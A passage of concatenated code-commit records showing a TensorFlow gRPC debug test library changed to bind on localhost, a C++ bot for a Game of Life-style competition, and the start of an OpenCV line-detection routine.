key_pair_->pkey()) != 1) {\n LogSSLErrors(\"Configuring key and certificate\");\n return false;\n }\n return true;\n}\n\n} \/\/ namespace rtc\n\n#endif \/\/ HAVE_OPENSSL_SSL_H\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/core\/debug\/debug_grpc_testlib.h\"\n\n#include \"tensorflow\/core\/debug\/debug_graph_utils.h\"\n#include \"tensorflow\/core\/debug\/debug_io_utils.h\"\n#include \"tensorflow\/core\/lib\/io\/path.h\"\n#include \"tensorflow\/core\/lib\/strings\/str_util.h\"\n#include \"tensorflow\/core\/platform\/env.h\"\n#include \"tensorflow\/core\/platform\/tracing.h\"\n\nnamespace tensorflow {\n\nnamespace test {\n\n::grpc::Status TestEventListenerImpl::SendEvents(\n ::grpc::ServerContext* context,\n ::grpc::ServerReaderWriter< ::tensorflow::EventReply, ::tensorflow::Event>*\n stream) {\n Event event;\n\n while (stream->Read(&event)) {\n const Summary::Value& val = event.summary().value(0);\n\n std::vector<string> name_items =\n tensorflow::str_util::Split(val.node_name(), ':');\n\n const string node_name = name_items[0];\n int32 output_slot = 0;\n tensorflow::strings::safe_strto32(name_items[1], &output_slot);\n const string debug_op = name_items[2];\n\n const TensorProto& tensor_proto = val.tensor();\n Tensor tensor(tensor_proto.dtype());\n if (!tensor.FromProto(tensor_proto)) {\n return ::grpc::Status::CANCELLED;\n }\n\n string dump_path;\n DebugFileIO::DumpTensorToDir(node_name, output_slot, debug_op, tensor,\n event.wall_time(), dump_root, &dump_path)\n .IgnoreError();\n }\n\n return ::grpc::Status::OK;\n}\n\nGrpcTestServerClientPair::GrpcTestServerClientPair(const int server_port)\n : server_port(server_port) {\n const int kTensorSize = 2;\n prep_tensor_.reset(\n new Tensor(DT_FLOAT, TensorShape({kTensorSize, kTensorSize})));\n for (int i = 0; i < kTensorSize * kTensorSize; ++i) {\n prep_tensor_->flat<float>()(i) = static_cast<float>(i);\n }\n\n \/\/ Obtain server's gRPC url.\n test_server_url = strings::StrCat(\"grpc:\/\/[::]:\", server_port);\n\n \/\/ Obtain dump directory for the stream server.\n string tmp_dir = port::Tracing::LogDir();\n dump_root =\n io::JoinPath(tmp_dir, strings::StrCat(\"tfdbg_dump_port\", server_port, \"_\",\n Env::Default()->NowMicros()));\n}\n\nbool GrpcTestServerClientPair::PollTillFirstRequestSucceeds() {\n const std::vector<string> urls({test_server_url});\n int n_attempts = 0;\n bool success = false;\n\n \/\/ Try a number of times to send the Event proto to the server, as it may\n \/\/ take the server a few seconds to start up and become responsive.\n while (n_attempts++ < kMaxAttempts) {\n const uint64 wall_time = Env::Default()->NowMicros();\n\n Status publish_s = DebugIO::PublishDebugTensor(\n \"prep_node:0\", \"DebugIdentity\", *prep_tensor_, wall_time, urls);\n Status close_s = DebugIO::CloseDebugURL(test_server_url);\n\n if (publish_s.ok() && close_s.ok()) {\n success = true;\n break;\n } else {\n Env::Default()->SleepForMicroseconds(kSleepDurationMicros);\n }\n }\n\n return success;\n}\n\n} \/\/ namespace test\n\n} \/\/ namespace tensorflow\n<commit_msg>Switch debug_grpc_testlib to bind on localhost<commit_after>\/* Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/core\/debug\/debug_grpc_testlib.h\"\n\n#include \"tensorflow\/core\/debug\/debug_graph_utils.h\"\n#include \"tensorflow\/core\/debug\/debug_io_utils.h\"\n#include \"tensorflow\/core\/lib\/io\/path.h\"\n#include \"tensorflow\/core\/lib\/strings\/str_util.h\"\n#include \"tensorflow\/core\/platform\/env.h\"\n#include \"tensorflow\/core\/platform\/tracing.h\"\n\nnamespace tensorflow {\n\nnamespace test {\n\n::grpc::Status TestEventListenerImpl::SendEvents(\n ::grpc::ServerContext* context,\n ::grpc::ServerReaderWriter< ::tensorflow::EventReply, ::tensorflow::Event>*\n stream) {\n Event event;\n\n while (stream->Read(&event)) {\n const Summary::Value& val = event.summary().value(0);\n\n std::vector<string> name_items =\n tensorflow::str_util::Split(val.node_name(), ':');\n\n const string node_name = name_items[0];\n int32 output_slot = 0;\n tensorflow::strings::safe_strto32(name_items[1], &output_slot);\n const string debug_op = name_items[2];\n\n const TensorProto& tensor_proto = val.tensor();\n Tensor tensor(tensor_proto.dtype());\n if (!tensor.FromProto(tensor_proto)) {\n return ::grpc::Status::CANCELLED;\n }\n\n string dump_path;\n DebugFileIO::DumpTensorToDir(node_name, output_slot, debug_op, tensor,\n event.wall_time(), dump_root, &dump_path)\n .IgnoreError();\n }\n\n return ::grpc::Status::OK;\n}\n\nGrpcTestServerClientPair::GrpcTestServerClientPair(const int server_port)\n : server_port(server_port) {\n const int kTensorSize = 2;\n prep_tensor_.reset(\n new Tensor(DT_FLOAT, TensorShape({kTensorSize, kTensorSize})));\n for (int i = 0; i < kTensorSize * kTensorSize; ++i) {\n prep_tensor_->flat<float>()(i) = static_cast<float>(i);\n }\n\n \/\/ Obtain server's gRPC url.\n test_server_url = strings::StrCat(\"grpc:\/\/localhost:\", server_port);\n\n \/\/ Obtain dump directory for the stream server.\n string tmp_dir = port::Tracing::LogDir();\n dump_root =\n io::JoinPath(tmp_dir, strings::StrCat(\"tfdbg_dump_port\", server_port, \"_\",\n Env::Default()->NowMicros()));\n}\n\nbool GrpcTestServerClientPair::PollTillFirstRequestSucceeds() {\n const std::vector<string> urls({test_server_url});\n int n_attempts = 0;\n bool success = false;\n\n \/\/ Try a number of times to send the Event proto to the server, as it may\n \/\/ take the server a few seconds to start up and become responsive.\n while (n_attempts++ < kMaxAttempts) {\n const uint64 wall_time = Env::Default()->NowMicros();\n\n Status publish_s = DebugIO::PublishDebugTensor(\n \"prep_node:0\", \"DebugIdentity\", *prep_tensor_, wall_time, urls);\n Status close_s = DebugIO::CloseDebugURL(test_server_url);\n\n if (publish_s.ok() && close_s.ok()) {\n success = true;\n break;\n } else {\n Env::Default()->SleepForMicroseconds(kSleepDurationMicros);\n }\n }\n\n return success;\n}\n\n} \/\/ namespace test\n\n} \/\/ namespace tensorflow\n<|endoftext|>"} {"text":"<commit_before>#include \"game.h\"\n\n#define LOOKAHEAD 4\n#define SACRIFICE_OPTIONS 5\n#define OPPONENT_MOVES 5\n\nusing namespace std;\n\n\/\/ globals\nint sacrificeCombinations = factorial(SACRIFICE_OPTIONS) \/ (factorial(SACRIFICE_OPTIONS - 2) * factorial(2));\nstringstream token;\nchar botId, opponentId;\nchar gameState[16][18];\nint roundNum, timebank, myLiveCells, theirLiveCells;\n\n\/\/ this just for logging time TODO: remove\nauto t = chrono::steady_clock::now();\n\nvoid game()\n{\n string line, command;\n\n while (getline(cin, line))\n {\n token.clear();\n token.str(line);\n token >> command;\n\n if (command == \"action\")\n processAction();\n if (command == \"update\")\n processUpdate();\n if (command == \"settings\")\n processSettings();\n }\n}\n\nvoid processAction()\n{\n string type, time;\n token >> type;\n token >> time;\n\n if (type == \"move\") {\n t = chrono::steady_clock::now(); \/\/ TODO: remove\n timebank = stoi(time);\n makeMove();\n chrono::duration<double> diff = chrono::steady_clock::now() - t; \/\/ TODO: remove\n cerr << diff.count() * 1000 << \"ms used\\n\"; \/\/ TODO: remove\n } else\n cerr << \"action type: \" << type << \" not expected\\n\";\n}\n\nvoid processUpdate()\n{\n string target, field, value;\n token >> target;\n token >> field;\n token >> value;\n\n if (target == \"game\") {\n if (field == \"round\") {\n roundNum = stoi(value);\n }\n if (field == \"field\") {\n parseState(value);\n }\n } else if (target == \"player0\" or target == \"player1\") {\n if (field == \"living_cells\") {\n if (target[6] == botId)\n myLiveCells = stoi(value);\n else\n theirLiveCells = stoi(value);\n } else if (field != \"move\")\n cerr << \"update playerX field: \" << field << \" not expected\\n\";\n } else\n cerr << \"update target: \" << target << \" not expected\\n\";\n}\n\nvoid processSettings()\n{\n string field, value;\n token >> field;\n token >> value;\n\n if (field == \"player_names\") {\n if (value != \"player0,player1\")\n cerr << \"settings player_names value: \" << value << \" not expected\\n\";\n } else if (field == \"your_bot\") {\n if (value != \"player0\" and value != \"player1\")\n cerr << \"settings your_bot value: \" << value << \" not expected\\n\";\n } else if (field == \"timebank\") {\n if (value == \"10000\")\n timebank = stoi(value);\n else\n cerr << \"settings timebank value: \" << value << \" not expected\\n\";\n } else if (field == \"time_per_move\") {\n if (value != \"100\")\n cerr << \"settings time_per_move value: \" << value << \" not expected\\n\";\n } else if (field == \"field_width\") {\n if (value != \"18\")\n cerr << \"settings field_width value: \" << value << \" not expected\\n\";\n } else if (field == \"field_height\") {\n if (value != \"16\")\n cerr << \"settings field_height value: \" << value << \" not expected\\n\";\n } else if (field == \"max_rounds\") {\n if (value != \"100\")\n cerr << \"settings max_rounds value: \" << value << \" not expected\\n\";\n } else if (field == \"your_botid\") {\n if (value == \"0\") {\n botId = '0';\n opponentId = '1';\n } else if (value == \"1\") {\n botId = '1';\n opponentId = '0';\n }\n else\n cerr << \"settings your_botid value: \" << value << \" not expected\\n\";\n } else\n cerr << \"settings field: \" << field << \" not expected\\n\";\n}\n\nvoid parseState(const string &value)\n{\n int row = 0;\n int col = 0;\n for (const char& c : value) {\n if (c != ',') {\n gameState[row][col] = c;\n if (col == 17) {\n col = 0;\n row++;\n } else {\n col++;\n }\n }\n }\n}\n\nvoid makeMove()\n{\n int numMoves = 1 + (myLiveCells + theirLiveCells) + (sacrificeCombinations * (288 - myLiveCells - theirLiveCells));\n\n \/\/ TODO: handle less then n of my cells alive for birthing calcs\n node nodes[numMoves];\n\n addKillNodes(nodes);\n\n node bestKillNodes[SACRIFICE_OPTIONS];\n findBestKillNodes(nodes, bestKillNodes);\n\n addPassNode(nodes);\n\n addBirthNodes(nodes, bestKillNodes);\n\n \/\/ TODO: for the best n nodes, calculate opponent moves and recalculate heuristic, then pick the best of those\n \/\/ sort then slice, then 2nd round heuristic, then sort then first\n sort(nodes, nodes + numMoves, nodeCompare);\n\n \/\/ node bestNode = findBestNode(nodes, numMoves);\n node bestNode = nodes[0];\n\n sendMove(bestNode);\n}\n\nvoid addKillNodes(node nodes[], const char state[][18])\n{\n int i = 0;\n for (int c = 0; c < 18; c++) {\n for (int r = 0; r < 16; r++) {\n if (state[r][c] != '.') {\n node n;\n n.value = state[r][c];\n n.type = 'k';\n n.target = r * 18 + c;\n copyState(n.state);\n n.state[r][c] = '.';\n calculateNextState(n);\n calculateHeuristic(n);\n nodes[i++] = n;\n }\n }\n }\n}\n\nvoid findBestKillNodes(node nodes[], node bestKillNodes[])\n{\n sort(nodes, nodes + myLiveCells + theirLiveCells, nodeCompare);\n\n int killNodeCount = 0;\n for (int i = 0; i < myLiveCells + theirLiveCells; i++) {\n node n = nodes[i];\n\n if (n.value == botId) {\n bestKillNodes[killNodeCount] = n;\n killNodeCount++;\n\n if (killNodeCount == SACRIFICE_OPTIONS) {\n break;\n }\n }\n }\n}\n\nvoid addPassNode(node nodes[], char state[][18], int idx)\n{\n node n;\n n.type = 'p';\n copyState(n.state);\n calculateNextState(n);\n calculateHeuristic(n);\n nodes[idx] = n;\n}\n\nvoid addBirthNodes(node nodes[], char state[][18], const node bestKillNodes[], int idx)\n{\n for (int x = 0; x < SACRIFICE_OPTIONS - 1; x++) {\n for (int y = x + 1; y < SACRIFICE_OPTIONS; y++) {\n for (int c = 0; c < 18; c++) {\n for (int r = 0; r < 16; r++) {\n if (state[r][c] == '.') {\n node n;\n n.type = 'b';\n n.target = r * 18 + c;\n n.sacrifice1 = bestKillNodes[x].target;\n n.sacrifice2 = bestKillNodes[y].target;\n copyState(n.state);\n n.state[r][c] = botId;\n n.state[n.sacrifice1 \/ 18][n.sacrifice1 % 18] = '.';\n n.state[n.sacrifice2 \/ 18][n.sacrifice2 % 18] = '.';\n calculateNextState(n);\n calculateHeuristic(n);\n nodes[idx++] = n;\n }\n }\n }\n }\n }\n}\n\nnode findBestNode(const node nodes[], int nodeCount)\n{\n int topHeuristic = -288;\n int topHeuristicIdx = 0;\n for (int i = 0; i < nodeCount; i++) {\n if (nodes[i].heuristicValue > topHeuristic) {\n topHeuristic = nodes[topHeuristicIdx].heuristicValue;\n topHeuristicIdx = i;\n }\n }\n\n return nodes[topHeuristicIdx];\n}\n\nvoid sendMove(const node &n)\n{\n if (n.type == 'p') {\n cout << \"pass\\n\";\n } else if (n.type == 'k') {\n cout << \"kill \" << coords(n.target) << \"\\n\";\n } else if (n.type == 'b') {\n cout << \"birth \" << coords(n.target) << \" \" << coords(n.sacrifice1) << \" \" << coords(n.sacrifice2) << \"\\n\";\n }\n}\n\nvoid calculateNextState(node &n, int lookahead)\n{\n for (int l = 0; l < lookahead; l++) {\n int neighbours0[16][18];\n int neighbours1[16][18];\n\n for (int c = 0; c < 18; c++) {\n for (int r = 0; r < 16; r++) {\n neighbours0[r][c] = 0;\n neighbours1[r][c] = 0;\n }\n }\n\n for (int c = 0; c < 18; c++) {\n for (int r = 0; r < 16; r++) {\n if (n.state[r][c] == '0') {\n if (c > 0) {\n neighbours0[r][c - 1]++;\n if (r > 0) neighbours0[r - 1][c - 1]++;\n if (r < 15) neighbours0[r + 1][c - 1]++;\n }\n if (c < 17) {\n neighbours0[r][c + 1]++;\n if (r > 0) neighbours0[r - 1][c + 1]++;\n if (r < 15) neighbours0[r + 1][c + 1]++;\n }\n if (r > 0) neighbours0[r - 1][c]++;\n if (r < 15) neighbours0[r + 1][c]++;\n }\n if (n.state[r][c] == '1') {\n if (c > 0) {\n neighbours1[r][c - 1]++;\n if (r > 0) neighbours1[r - 1][c - 1]++;\n if (r < 15) neighbours1[r + 1][c - 1]++;\n }\n if (c < 17) {\n neighbours1[r][c + 1]++;\n if (r > 0) neighbours1[r - 1][c + 1]++;\n if (r < 15) neighbours1[r + 1][c + 1]++;\n }\n if (r > 0) neighbours1[r - 1][c]++;\n if (r < 15) neighbours1[r + 1][c]++;\n }\n }\n }\n\n int neighbours;\n for (int c = 0; c < 18; c++) {\n for (int r = 0; r < 16; r++) {\n neighbours = neighbours0[r][c] + neighbours1[r][c];\n if (n.state[r][c] == '.' and neighbours == 3) {\n n.state[r][c] = (neighbours0[r][c] > neighbours1[r][c]) ? '0' : '1';\n } else if (n.state[r][c] != '.' and (neighbours < 2 or neighbours > 3)) {\n n.state[r][c] = '.';\n }\n }\n }\n }\n}\n\nvoid calculateHeuristic(node &n)\n{\n int cellCount0 = 0;\n int cellCount1 = 0;\n\n \/\/ TODO: consider the number of opponent cells alive to increase aggression when they are low\n for (int c = 0; c < 18; c++) {\n for (int r = 0; r < 16; r++) {\n if (n.state[r][c] == '0') {\n cellCount0++;\n } else if (n.state[r][c] == '1') {\n cellCount1++;\n }\n }\n }\n\n if (botId == '0') {\n if (cellCount0 == 0) {\n n.heuristicValue = -288;\n } else if (cellCount1 == 0) {\n n.heuristicValue = 288;\n } else {\n n.heuristicValue = cellCount0 - cellCount1;\n }\n } else if (botId == '1') {\n if (cellCount1 == 0) {\n n.heuristicValue = -288;\n } else if (cellCount0 == 0) {\n n.heuristicValue = 288;\n } else {\n n.heuristicValue = cellCount1 - cellCount0;\n }\n }\n}\n\n\/\/ utility functions\nint factorial(int x, int result) {\n return (x == 1) ? result : factorial(x - 1, x * result);\n}\n\nstring coords(int cellIdx)\n{\n stringstream ss;\n ss << (cellIdx % 18) << \",\" << cellIdx \/ 18;\n return ss.str();\n}\n\nvoid copyState(const char source[][18], char target[][18])\n{\n for (int r = 0; r < 16; r++) {\n for (int c = 0; c < 18; c++) {\n target[r][c] = source[r][c];\n }\n }\n}\n\nbool nodeCompare(node lhs, node rhs)\n{\n \/\/ sort descending\n return lhs.heuristicValue > rhs.heuristicValue;\n}\n\n\/\/ debug functions\nvoid setBotId(const char id)\n{\n botId = id;\n}\n<commit_msg>findBestKillNodes takes an id<commit_after>#include \"game.h\"\n\n#define LOOKAHEAD 4\n#define SACRIFICE_OPTIONS 5\n#define OPPONENT_MOVES 5\n\nusing namespace std;\n\n\/\/ globals\nint sacrificeCombinations = factorial(SACRIFICE_OPTIONS) \/ (factorial(SACRIFICE_OPTIONS - 2) * factorial(2));\nstringstream token;\nchar botId, opponentId;\nchar gameState[16][18];\nint roundNum, timebank, myLiveCells, theirLiveCells;\n\n\/\/ this just for logging time TODO: remove\nauto t = chrono::steady_clock::now();\n\nvoid game()\n{\n string line, command;\n\n while (getline(cin, line))\n {\n token.clear();\n token.str(line);\n token >> command;\n\n if (command == \"action\")\n processAction();\n if (command == \"update\")\n processUpdate();\n if (command == \"settings\")\n processSettings();\n }\n}\n\nvoid processAction()\n{\n string type, time;\n token >> type;\n token >> time;\n\n if (type == \"move\") {\n t = chrono::steady_clock::now(); \/\/ TODO: remove\n timebank = stoi(time);\n makeMove();\n chrono::duration<double> diff = chrono::steady_clock::now() - t; \/\/ TODO: remove\n cerr << diff.count() * 1000 << \"ms used\\n\"; \/\/ TODO: remove\n } else\n cerr << \"action type: \" << type << \" not expected\\n\";\n}\n\nvoid processUpdate()\n{\n string target, field, value;\n token >> target;\n token >> field;\n token >> value;\n\n if (target == \"game\") {\n if (field == \"round\") {\n roundNum = stoi(value);\n }\n if (field == \"field\") {\n parseState(value);\n }\n } else if (target == \"player0\" or target == \"player1\") {\n if (field == \"living_cells\") {\n if (target[6] == botId)\n myLiveCells = stoi(value);\n else\n theirLiveCells = stoi(value);\n } else if (field != \"move\")\n cerr << \"update playerX field: \" << field << \" not expected\\n\";\n } else\n cerr << \"update target: \" << target << \" not expected\\n\";\n}\n\nvoid processSettings()\n{\n string field, value;\n token >> field;\n token >> value;\n\n if (field == \"player_names\") {\n if (value != \"player0,player1\")\n cerr << \"settings player_names value: \" << value << \" not expected\\n\";\n } else if (field == \"your_bot\") {\n if (value != \"player0\" and value != \"player1\")\n cerr << \"settings your_bot value: \" << value << \" not expected\\n\";\n } else if (field == \"timebank\") {\n if (value == \"10000\")\n timebank = stoi(value);\n else\n cerr << \"settings timebank value: \" << value << \" not expected\\n\";\n } else if (field == \"time_per_move\") {\n if (value != \"100\")\n cerr << \"settings time_per_move value: \" << value << \" not expected\\n\";\n } else if (field == \"field_width\") {\n if (value != \"18\")\n cerr << \"settings field_width value: \" << value << \" not expected\\n\";\n } else if (field == \"field_height\") {\n if (value != \"16\")\n cerr << \"settings field_height value: \" << value << \" not expected\\n\";\n } else if (field == \"max_rounds\") {\n if (value != \"100\")\n cerr << \"settings max_rounds value: \" << value << \" not expected\\n\";\n } else if (field == \"your_botid\") {\n if (value == \"0\") {\n botId = '0';\n opponentId = '1';\n } else if (value == \"1\") {\n botId = '1';\n opponentId = '0';\n }\n else\n cerr << \"settings your_botid value: \" << value << \" not expected\\n\";\n } else\n cerr << \"settings field: \" << field << \" not expected\\n\";\n}\n\nvoid parseState(const string &value)\n{\n int row = 0;\n int col = 0;\n for (const char& c : value) {\n if (c != ',') {\n gameState[row][col] = c;\n if (col == 17) {\n col = 0;\n row++;\n } else {\n col++;\n }\n }\n }\n}\n\nvoid makeMove()\n{\n int numMoves = 1 + (myLiveCells + theirLiveCells) + (sacrificeCombinations * (288 - myLiveCells - theirLiveCells));\n\n \/\/ TODO: handle less then n of my cells alive for birthing calcs\n node nodes[numMoves];\n\n addKillNodes(nodes);\n\n node bestKillNodes[SACRIFICE_OPTIONS];\n findBestKillNodes(nodes, bestKillNodes);\n\n addPassNode(nodes);\n\n addBirthNodes(nodes, bestKillNodes);\n\n \/\/ TODO: for the best n nodes, calculate opponent moves and recalculate heuristic, then pick the best of those\n \/\/ sort then slice, then 2nd round heuristic, then sort then first\n sort(nodes, nodes + numMoves, nodeCompare);\n\n \/\/ node bestNode = findBestNode(nodes, numMoves);\n node bestNode = nodes[0];\n\n sendMove(bestNode);\n}\n\nvoid addKillNodes(node nodes[], const char state[][18])\n{\n int i = 0;\n for (int c = 0; c < 18; c++) {\n for (int r = 0; r < 16; r++) {\n if (state[r][c] != '.') {\n node n;\n n.value = state[r][c];\n n.type = 'k';\n n.target = r * 18 + c;\n copyState(n.state);\n n.state[r][c] = '.';\n calculateNextState(n);\n calculateHeuristic(n);\n nodes[i++] = n;\n }\n }\n }\n}\n\nvoid findBestKillNodes(node nodes[], char id, node bestKillNodes[])\n{\n int killNodeCount = 0;\n for (int i = 0; i < myLiveCells + theirLiveCells; i++) {\n node n = nodes[i];\n\n if (n.value == id) {\n bestKillNodes[killNodeCount] = n;\n killNodeCount++;\n\n if (killNodeCount == SACRIFICE_OPTIONS) {\n break;\n }\n }\n }\n}\n\nvoid addPassNode(node nodes[], char state[][18], int idx)\n{\n node n;\n n.type = 'p';\n copyState(n.state);\n calculateNextState(n);\n calculateHeuristic(n);\n nodes[idx] = n;\n}\n\nvoid addBirthNodes(node nodes[], char state[][18], const node bestKillNodes[], int idx)\n{\n for (int x = 0; x < SACRIFICE_OPTIONS - 1; x++) {\n for (int y = x + 1; y < SACRIFICE_OPTIONS; y++) {\n for (int c = 0; c < 18; c++) {\n for (int r = 0; r < 16; r++) {\n if (state[r][c] == '.') {\n node n;\n n.type = 'b';\n n.target = r * 18 + c;\n n.sacrifice1 = bestKillNodes[x].target;\n n.sacrifice2 = bestKillNodes[y].target;\n copyState(n.state);\n n.state[r][c] = botId;\n n.state[n.sacrifice1 \/ 18][n.sacrifice1 % 18] = '.';\n n.state[n.sacrifice2 \/ 18][n.sacrifice2 % 18] = '.';\n calculateNextState(n);\n calculateHeuristic(n);\n nodes[idx++] = n;\n }\n }\n }\n }\n }\n}\n\nnode findBestNode(const node nodes[], int nodeCount)\n{\n int topHeuristic = -288;\n int topHeuristicIdx = 0;\n for (int i = 0; i < nodeCount; i++) {\n if (nodes[i].heuristicValue > topHeuristic) {\n topHeuristic = nodes[topHeuristicIdx].heuristicValue;\n topHeuristicIdx = i;\n }\n }\n\n return nodes[topHeuristicIdx];\n}\n\nvoid sendMove(const node &n)\n{\n if (n.type == 'p') {\n cout << \"pass\\n\";\n } else if (n.type == 'k') {\n cout << \"kill \" << coords(n.target) << \"\\n\";\n } else if (n.type == 'b') {\n cout << \"birth \" << coords(n.target) << \" \" << coords(n.sacrifice1) << \" \" << coords(n.sacrifice2) << \"\\n\";\n }\n}\n\nvoid calculateNextState(node &n, int lookahead)\n{\n for (int l = 0; l < lookahead; l++) {\n int neighbours0[16][18];\n int neighbours1[16][18];\n\n for (int c = 0; c < 18; c++) {\n for (int r = 0; r < 16; r++) {\n neighbours0[r][c] = 0;\n neighbours1[r][c] = 0;\n }\n }\n\n for (int c = 0; c < 18; c++) {\n for (int r = 0; r < 16; r++) {\n if (n.state[r][c] == '0') {\n if (c > 0) {\n neighbours0[r][c - 1]++;\n if (r > 0) neighbours0[r - 1][c - 1]++;\n if (r < 15) neighbours0[r + 1][c - 1]++;\n }\n if (c < 17) {\n neighbours0[r][c + 1]++;\n if (r > 0) neighbours0[r - 1][c + 1]++;\n if (r < 15) neighbours0[r + 1][c + 1]++;\n }\n if (r > 0) neighbours0[r - 1][c]++;\n if (r < 15) neighbours0[r + 1][c]++;\n }\n if (n.state[r][c] == '1') {\n if (c > 0) {\n neighbours1[r][c - 1]++;\n if (r > 0) neighbours1[r - 1][c - 1]++;\n if (r < 15) neighbours1[r + 1][c - 1]++;\n }\n if (c < 17) {\n neighbours1[r][c + 1]++;\n if (r > 0) neighbours1[r - 1][c + 1]++;\n if (r < 15) neighbours1[r + 1][c + 1]++;\n }\n if (r > 0) neighbours1[r - 1][c]++;\n if (r < 15) neighbours1[r + 1][c]++;\n }\n }\n }\n\n int neighbours;\n for (int c = 0; c < 18; c++) {\n for (int r = 0; r < 16; r++) {\n neighbours = neighbours0[r][c] + neighbours1[r][c];\n if (n.state[r][c] == '.' and neighbours == 3) {\n n.state[r][c] = (neighbours0[r][c] > neighbours1[r][c]) ? '0' : '1';\n } else if (n.state[r][c] != '.' and (neighbours < 2 or neighbours > 3)) {\n n.state[r][c] = '.';\n }\n }\n }\n }\n}\n\nvoid calculateHeuristic(node &n)\n{\n int cellCount0 = 0;\n int cellCount1 = 0;\n\n \/\/ TODO: consider the number of opponent cells alive to increase aggression when they are low\n for (int c = 0; c < 18; c++) {\n for (int r = 0; r < 16; r++) {\n if (n.state[r][c] == '0') {\n cellCount0++;\n } else if (n.state[r][c] == '1') {\n cellCount1++;\n }\n }\n }\n\n if (botId == '0') {\n if (cellCount0 == 0) {\n n.heuristicValue = -288;\n } else if (cellCount1 == 0) {\n n.heuristicValue = 288;\n } else {\n n.heuristicValue = cellCount0 - cellCount1;\n }\n } else if (botId == '1') {\n if (cellCount1 == 0) {\n n.heuristicValue = -288;\n } else if (cellCount0 == 0) {\n n.heuristicValue = 288;\n } else {\n n.heuristicValue = cellCount1 - cellCount0;\n }\n }\n}\n\n\/\/ utility functions\nint factorial(int x, int result) {\n return (x == 1) ? result : factorial(x - 1, x * result);\n}\n\nstring coords(int cellIdx)\n{\n stringstream ss;\n ss << (cellIdx % 18) << \",\" << cellIdx \/ 18;\n return ss.str();\n}\n\nvoid copyState(const char source[][18], char target[][18])\n{\n for (int r = 0; r < 16; r++) {\n for (int c = 0; c < 18; c++) {\n target[r][c] = source[r][c];\n }\n }\n}\n\nbool nodeCompare(node lhs, node rhs)\n{\n \/\/ sort descending\n return lhs.heuristicValue > rhs.heuristicValue;\n}\n\n\/\/ debug functions\nvoid setBotId(const char id)\n{\n botId = id;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n#include \"..\/control.h\"\n\nusing namespace std;\nusing namespace cv;\n\nvoid detect_lines(Mat &original_frame, double scale_factor);\n\n\nvoid compress_lines(vector<Vec2f> &condensed, const vector<Vec2f> &tmp_list);\n\n#pragma clang diagnostic push\n#pragma ide diagnostic ignored \"OCUnusedGlobalDeclarationInspection\"\n\nvoid line_main() {\n\/\/ printf(\"Hello, this is Caleb\\n\");\n\/\/ no this is patric\n\n VideoCapture cap(\"..\/..\/tests\/videos\/top_down_1.m4v\");\n if (!cap.isOpened()) \/\/ check if we succeeded\n return;\n\n\/\/ Mat edges;\n for (; ;) {\n Mat frame;\n cap >> frame; \/\/ get a new frame from camera\n\n detect_lines(frame, .2);\n\n\n if (waitKey(30) >= 0) break;\n\n }\n \/\/ the camera will be deinitialized automatically in VideoCapture destructor\n\n return;\n}\n\n#pragma clang diagnostic pop\n\nvoid detect_lines(Mat &original_frame, double scale_factor) {\n\n Mat hsv;\n Mat mask;\n Mat image;\n\n \/\/ resize(original_frame, image, Size(), scale_factor, scale_factor); \/\/Potentially scale down the frame\n\n cvtColor(original_frame, hsv, CV_BGR2HSV); \/\/ Image is now HSV\n\n double minH = 50;\n double minS = 20;\n double minV = 150;\n double maxH = 125;\n double maxS = 100;\n double maxV = 255;\n\n\n Scalar lower(minH, minS, minV);\n Scalar upper(maxH, maxS, maxV);\n inRange(hsv, lower, upper, mask); \/\/ Create a mask of only the desired color\n Canny(mask, mask, 50, 200, 3);\n\n vector<Vec2f> lines, condensed, tmp_list;\n HoughLines(mask, lines, 1, CV_PI \/ 180, 100, 0, 0);\n\/\/ HoughLinesP(mask, lines, 1, CV_PI \/ 180.0, 10, 50, 10); \/\/ Find all lines in the image\n\n printf(\"Adding in %d lines\\n\", (int) lines.size());\n\n \n \/\/Flipping any backwards lines\n for (int i = 0; i < lines.size(); i++) {\n if (lines[i][1] > CV_PI \/ 2) {\n lines[i][1] -= CV_PI;\n lines[i][0] *= -1;\n }\n else if (lines[i][1] < ((CV_PI \/ 2) * -1)) {\n lines[i][1] += CV_PI;\n lines[i][0] *= -1;\n }\n\n \/\/put in order of theta, rho\n swap(lines[i][0], lines[i][1]);\n }\n\n \/\/Order from least to greatest theta\n std::sort(lines.begin(), lines.end(),\n [](const Vec2f &a, const Vec2f &b) {\n return a[0] < b[0];\n });\n\n while (!lines.empty()) {\n Vec2f to_manipulate = lines.front();\n lines.erase(lines.begin());\n\n if (tmp_list.empty()) {\n tmp_list.push_back(to_manipulate);\n continue;\n } else {\n if (abs(to_manipulate[0] - tmp_list.front()[0]) < 20 * (CV_PI \/ 180.0)) {\n \/\/The angles are similar\n if (abs(to_manipulate[1] - tmp_list.front()[1]) < 50) {\n \/\/the distances are similar\n tmp_list.push_back(to_manipulate);\n continue;\n }\n } else {\n \/\/Need to clear out the tmp_list\n compress_lines(condensed, tmp_list);\n\n tmp_list.clear();\n tmp_list.push_back(to_manipulate);\n\n }\n }\n }\n if (!tmp_list.empty()) {\n compress_lines(condensed, tmp_list);\n }\n\n printf(\"Compressed down to %d lines\\n\", (int) condensed.size()); \n \n\n \/\/ Undoing work:\n \/\/ condensed = lines;\n\n for (size_t i = 0; i < condensed.size(); i++) {\n float theta = condensed[i][0], rho = condensed[i][1];\n \/\/ float rho = lines[i][0], theta = lines[i][1];\n Point pt1, pt2;\n double a = cos(theta), b = sin(theta);\n double x0 = a * rho, y0 = b * rho;\n pt1.x = cvRound(x0 + 1000 * (-b));\n 